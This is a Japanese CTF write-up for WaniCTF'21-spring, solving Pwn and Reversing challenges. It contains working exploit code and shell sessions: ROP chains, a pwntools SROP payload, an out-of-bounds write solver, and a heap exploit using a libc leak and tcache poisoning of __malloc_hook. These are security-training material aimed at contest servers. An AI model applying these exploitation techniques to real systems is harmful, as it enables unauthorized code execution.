WaniCTF'21-spring Writeup

今年もWaniCTFに参加しました。昨年のWriteup
PwnとReversingだけ解きました。とても楽しかったです。

Pwn

01 netcat

ncするとシェルが起動してます。

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}
exit

flag: FLAG{this_is_the_same_netcat_problem_as_previous_one}

02 free hook

int main() {
  init();

  __free_hook = system;

  while (1) {
    command();
    list_memos();
  }
}

__free_hooksystemで書き換えられています。
これによってfreeが呼び出されたときにsystemが呼び出されます。
よって, /bin/shのアドレスを引数にfreeを呼び出せば, system("/bin/sh")が呼び出されることになります。
add memoで/bin/shを書き込んでdel memoすればシェルが起動します。

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
exit

flag: FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

03 rop machine easy

ROPを練習するツール。すごい。
使い方を参考にROPします。
x86_64なので第1引数をRDIに書き込みます。

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}
exit

flag: FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

easyと同様にしてexecve("/bin/sh", 0, 0)を実行します。
第2引数はRSI, 第3引数はRDXに書き込みます。
RAXにsyscall番号0x3bを書き込んでsyscallすることで実行されます。

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}
exit

flag: FLAG{now-you-can-call-any-system-calls-with-syscall}

05 rop machine hard

Gadgetのアドレスを調べます。

$ ROPgadget --binary ./pwn05

使うアドレスは以下のようになりました。

pop rdi = 0x000000000040128f
pop rsi r15 = 0x0000000000401611
pop rdx = 0x000000000040129c
pop rax = 0x00000000004012a9
syscall = 0x00000000004012b6
binsh = 0x0000000000404078

normalと同様にROP chainを組みます。

$ nc rop-hard.pwn.wanictf.org 9005

[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
> 1
hex value?: 0x000000000040128f
0x000000000040128f is appended
> 1
hex value?: 0x0000000000404078
0x0000000000404078 is appended
> 1
hex value?: 0x0000000000401611
0x0000000000401611 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x000000000040129c
0x000000000040129c is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0x00000000004012a9
0x00000000004012a9 is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 1
hex value?: 0x00000000004012b6
0x00000000004012b6 is appended
> 0
     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}
exit

flag: FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

BOFがあります。ただ, Gadgetがあまりないためこれまでの問題のようにROP chainは組めません。
RAXに0xfを書き込めるGadgetがあるためSROPをします。
buffのアドレスが表示されるため, /bin/shbuffに書き込んで, RDIにbuffのアドレスをセットします。

from pwn import * 

# p = process('pwn06')
p = remote('srop.pwn.wanictf.org', 9006)
e = ELF('pwn06')
context.binary = e

syscall = 0x40117e
mov_rax = 0x40118c

p.recvuntil('buff : ')
buff = int(p.recvline()[:-1], 16)
print(hex(buff))

frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = buff
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = b'/bin/sh\x00'
payload += b'A' * 0x40
payload += p64(mov_rax)
payload += p64(syscall)
payload += bytes(frame)

p.sendline(payload)

p.interactive()

flag: FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi

以下の条件を満たせばフラグが表示されます。

int is_solved(int (*rod)[HANOI_SIZE]) {
  if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 &&
      rod[2][HANOI_SIZE - 1] == HANOI_SIZE)
    return 1;
  else
    return 0;
}

rod[1][HANOI_SIZE - 1]は条件を満たしているため, rod[0][HANOI_SIZE - 1]rod[2][HANOI_SIZE - 1]を何とかします。

    if (abs(src) > 2 || abs(dst) > 2) {  // ???
        printf("That rod isn't where you can access!\n");
        return;
    }

絶対値になっているため, srcdstを-1か-2にできます。
それによって, 以下で範囲外にアクセスできます。

    if (rod[dst][pivot[dst]] != 0) pivot[dst]--;
    rod[dst][pivot[dst]] = rod[src][pivot[src]];
    rod[src][pivot[src]] = 0;

各配列の位置関係は以下のようになっています。

0x7fffffffdc30: 0x0000000000000000      0x00007ffff7e60013
0x7fffffffdc40: 0x0000000000000069      0x00007ffff7fb86a0
0x7fffffffdc50: 0x0000555555556070      0x00007ffff7e5371a
0x7fffffffdc60: 0x00005555555557a0      0x00007fffffffde50
0x7fffffffdc70: 0x0000555555555180      0x00007fffffffdf40
0x7fffffffdc80: 0x0000000000000000      0x0000555555555676
0x7fffffffdc90: 0x0000000000000000      0x0000000000000000
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcb0: 0x0000000200000001      0x0000000400000003  <- rod
0x7fffffffdcc0: 0x0000000600000005      0x0000000800000007
0x7fffffffdcd0: 0x0000000a00000009      0x0000000c0000000b
0x7fffffffdce0: 0x0000000e0000000d      0x000000100000000f
0x7fffffffdcf0: 0x0000001200000011      0x0000001400000013
0x7fffffffdd00: 0x0000001600000015      0x0000001800000017
0x7fffffffdd10: 0x0000001a00000019      0x0000001c0000001b
0x7fffffffdd20: 0x0000001e0000001d      0x000000200000001f
0x7fffffffdd30: 0x0000000000000000      0x0000000000000000
0x7fffffffdd40: 0x0000000000000000      0x0000000000000000
0x7fffffffdd50: 0x0000000000000000      0x0000000000000000
0x7fffffffdd60: 0x0000000000000000      0x0000000000000000
0x7fffffffdd70: 0x0000000000000000      0x0000000000000000
0x7fffffffdd80: 0x0000000000000000      0x0000000000000000
0x7fffffffdd90: 0x0000000000000000      0x0000000000000000
0x7fffffffdda0: 0x0000000000000000      0x0000000000000000
0x7fffffffddb0: 0x0000000000000000      0x0000000000000000
0x7fffffffddc0: 0x0000000000000000      0x0000000000000000
0x7fffffffddd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdde0: 0x0000000000000000      0x0000000000000000
0x7fffffffddf0: 0x0000000000000000      0x0000000000000000
0x7fffffffde00: 0x0000000000000000      0x0000000000000000
0x7fffffffde10: 0x0000000000000000      0x0000000000000000
0x7fffffffde20: 0x0000000000000000      0x0000000000000000  <- rod[2][HANOI_SIZE - 1]
0x7fffffffde30: 0x0000003f0000003f      0x0000003f0000003f  <- name
0x7fffffffde40: 0x0000001f00000000      0x000000000000001f  <- rod_pivot

上のように, nameに0x3f(=(0x80*2-0x4)/4)を書き込んで, @Cを入力することで, rod_pivot[-1]=0x3f, rod[-1][pivot[-1]]=rod[-1][0x3f]=0x20となり, rod[0][HANOI_SIZE - 1]rod[2][HANOI_SIZE - 1]が条件を満たします。

from pwn import * 

# p = process('pwn07')
p = remote('hanoi.pwn.wanictf.org', 9007)

payload = p32(0x3f) * 4

p.sendafter('Name : ', payload)

p.sendlineafter('Move > ', '@C')

p.interactive()
$ python3 solve.py 
[+] Opening connection to hanoi.pwn.wanictf.org on port 9007: Done
[*] Switching to interactive mode
Moving...
Moved 32 from @ to C
Top and bottom of the each rod
  A     B     C
  1     0    32
 ...............
  0     0    32
Move > $ DD
Moving...
That rod isn't where you can access!
How fast you are!!
FLAG{5up3r_f457_h4n01_501v3r}

flag: FLAG{5up3r_f457_h4n01_501v3r}

08 Gacha Breaker

libc leak

int* gacha(int** list, int n, int k, int* count) {
  int* gacha_result;
  int prob_man;  // Probability Manipulaton : increase possibility of overlapped
                 // result
  srand(time(0));

  printf("Doki Doki .....\n");
  sleep(1);
  gacha_result = malloc(sizeof(int) * k);
  printf("Your gacha No.%d\nresults :", n);
  prob_man = (1 < k - 4 ? k - 4 : k);
  for (int i = 0; i < prob_man; i++) {
    gacha_result[i] = rand() % 0x10000;
    printf(" [%#x]", gacha_result[i]);
  }
  for (int i = prob_man; i < k; i++) {      // 0 ~ 4
    if (n > 1 && count[n - 2] > 3)
      gacha_result[i] = list[n - 2][k - i - 1];
    else
      gacha_result[i] = rand() % 0x10000;
    printf(" [%#x]", gacha_result[i]);
  }
  printf("\n\n");
  return gacha_result;
}

kが6以上の場合, n-2番目のチャンクの内容をn番目のチャンクに書き込めます。
以下の順でgachaとfreeをします。()内の数は何番目のチャンクかを示しています。

  • Unsorted binに繋がるように1200でgacha (0)
  • 0x30のチャンクを作るために10でgacha (1)
  • free (0)がUnsorted binに, (1)がtcacheに繋がれる。
  • 10でgacha (2) Unsorted binに繋がれている0番目のチャンクの内容が書き込まれる。

2番目のチャンクにmain_arenaのアドレスが書き込まれます。
以上から計算によってlibcのアドレスがわかります。

Overwrite __malloc_hook

ceilingでUse After Freeができます。
tcache poisoningで__malloc_hookを書き換えます。(__free_hookだと失敗した。)
以下の順でgachaとfreeとceilingをします。

  • 10でgacha (3)
  • free 0x30のtcacheは (2) -> (3)となる。
  • ceilingで(2)に__malloc_hookを書き込む。0x30のtcacheは (2) -> __malloc_hookとなる。
  • 10でgacha (4) (2)の領域が返る。
  • 10でgacha (5) __malloc_hookが返る。
  • ceilingで(5)にOne Gadgetを書き込む。
  • 1でgacha (6) シェルが起動する。
from pwn import *

# p = process('pwn08')
# p = remote('localhost', 7777)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = remote('gacha.pwn.wanictf.org', 9008)
libc = ELF('libc-2.31.so')

one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84]

def gacha(count):
    p.sendlineafter('>', '1')
    p.sendlineafter('times? :', str(count))

def view():
    p.sendlineafter('>', '2')
    p.recvuntil('Gacha\n')
    return p.recvline()

def clear():
    p.sendlineafter('>', '3')

def ceiling(a, b, c):
    p.sendlineafter('>', '4')
    p.sendlineafter('>', str(a))
    p.sendlineafter('>', str(b))
    p.sendlineafter('>', str(c))

gacha(1200)
gacha(0x28//4)
clear()
gacha(0x28//4)
leaks = view().decode().split(' ')
libc.address = int(leaks[-3][1:-1]+leaks[-2][3:-1], 16) - 0x1ebbe0
print(hex(libc.address))
# for i in range(4):
#     gacha(1)

# gacha(0x28//4)
gacha(0x28//4)
clear()
ceiling(2, 0, int(hex(libc.symbols['__malloc_hook'])[-8:], 16))
ceiling(2, 1, int(hex(libc.symbols['__malloc_hook'])[2:6], 16))
gacha(0x28//4)
gacha(0x28//4)
ceiling(5, 0, int(hex(libc.address + one_gadget[1])[-8:], 16))
ceiling(5, 1, int(hex(libc.address + one_gadget[1])[2:6], 16))
gacha(1)

p.interactive()

flag: FLAG{G4ch4_15_3v1l_bu7_c4n7_5t0p}

Reversing

secret

stringsするとkeyぽい文字列が見つかりました。

$ strings ./secret

Input secret key : 
Incorrect
wani_is_the_coolest_animals_in_the_world!
Correct! Flag is %s

入力したらフラグが出力されました。

$ ./secret 

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

flag: FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

main.sを読むとスタックに何か書き込んで出力していることがわかります。
デコードするとフラグがわかります。

l = [7941081424088616006, 7311705455698409823, 3560223458505028963, 35295634984951667]
flag = ""
for i in l:
    s = reversed(bytes.fromhex(hex(i)[2:]).decode())
    for c in s:
        flag += c
print(flag)

flag: FLAG{c4n_y0u_execu4e_th1s_fi1e}

timer

timerが終わらないのでGDBでスキップします。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000000014ef <+0>:     endbr64 
   0x00000000000014f3 <+4>:     push   rbp
   0x00000000000014f4 <+5>:     mov    rbp,rsp
   0x00000000000014f7 <+8>:     call   0x141a <show_description>
   0x00000000000014fc <+13>:    call   0x149d <timer>
   0x0000000000001501 <+18>:    call   0x1170 <super_complex_flag_print_function>
   0x0000000000001506 <+23>:    mov    eax,0x0
   0x000000000000150b <+28>:    pop    rbp
   0x000000000000150c <+29>:    ret    
End of assembler dump.
gdb-peda$ b *main+13
gdb-peda$ r
gdb-peda$ jump *main+18
The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"

flag: FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

Ghidraでデコンパイルすると, checkでライセンスファイルの内容をチェックしていることがわかります。しかし, checkは複雑で自力で解析するのは厳しいので, 問題文にもあるようにangrを使いました。ただ、脳死angrしかやったことがなかったためいろいろ参考にさせて頂きました。
参考1
参考2

import angr
import claripy

addr = 0x405e66
input_path = './key.dat'
proj = angr.Project('./licence', load_options={"auto_load_libs": False})
state = proj.factory.entry_state(args=[proj.filename, input_path])


simgr = proj.factory.simulation_manager(state)
simgr.explore(find=addr)
state = simgr.found[0]
print(state.posix.dump_file_by_path(input_path))

flag: FLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}